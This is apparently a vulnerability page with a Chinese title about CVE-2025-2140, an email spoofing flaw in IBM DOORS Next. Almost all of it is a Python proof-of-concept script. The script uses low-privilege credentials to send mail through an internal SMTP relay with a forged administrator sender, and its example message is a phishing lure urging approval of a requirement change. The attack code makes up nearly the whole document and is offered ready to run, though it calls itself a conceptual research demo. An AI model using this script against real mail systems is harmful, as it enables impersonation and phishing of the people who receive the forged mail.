CVE-2025-2140 IBM DOORS Next 邮件身份伪造漏洞

# CVE-2025-2140 - IBM DOORS Next Email Spoofing PoC # This PoC demonstrates the concept of email header injection in DOORS Next # Note: This is a conceptual demonstration for security research purposes only import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart def spoof_email(target_smtp_server, attacker_creds, spoofed_from, real_to, subject, body): """ Demonstrate email spoofing concept exploiting improper source data verification. :param target_smtp_server: DOORS Next internal SMTP relay server :param attacker_creds: Valid authenticated user credentials (low privilege) :param spoofed_from: Email address to spoof (e.g., [email protected]) :param real_to: Actual recipient :param subject: Email subject :param body: Email body content """ # Craft the email message with spoofed sender identity msg = MIMEMultipart() msg['From'] = spoofed_from # Forged sender identity msg['To'] = real_to msg['Subject'] = subject # Attach body msg.attach(MIMEText(body, 'plain')) # Connect to internal SMTP server using attacker's valid credentials try: server = smtplib.SMTP(target_smtp_server, 25) server.starttls() server.login(attacker_creds['user'], attacker_creds['password']) # Send the spoofed email through the trusted internal relay server.sendmail(spoofed_from, real_to, msg.as_string()) server.quit() print(f"[+] Spoofed email sent successfully from: {spoofed_from}") print(f"[+] Delivered to: {real_to}") except Exception as e: print(f"[-] Failed to send spoofed email: {e}") # Example usage (for authorized testing only) if __name__ == "__main__": # Attacker is an authenticated low-privilege user on the internal network attacker_credentials = { 'user': 'lowpriv_user', 'password': 'attacker_password' } # Target the internal DOORS Next SMTP relay smtp_server = "doors-next-smtp.internal.company.com" # Spoof the identity of an administrator spoofed_sender = "[email protected]" # Send to a victim user victim = "[email protected]" spoof_email( target_smtp_server=smtp_server, attacker_creds=attacker_credentials, spoofed_from=spoofed_sender, real_to=victim, subject="Urgent: Requirement Change Approval Required", body="Please review and approve the attached requirement change immediately." )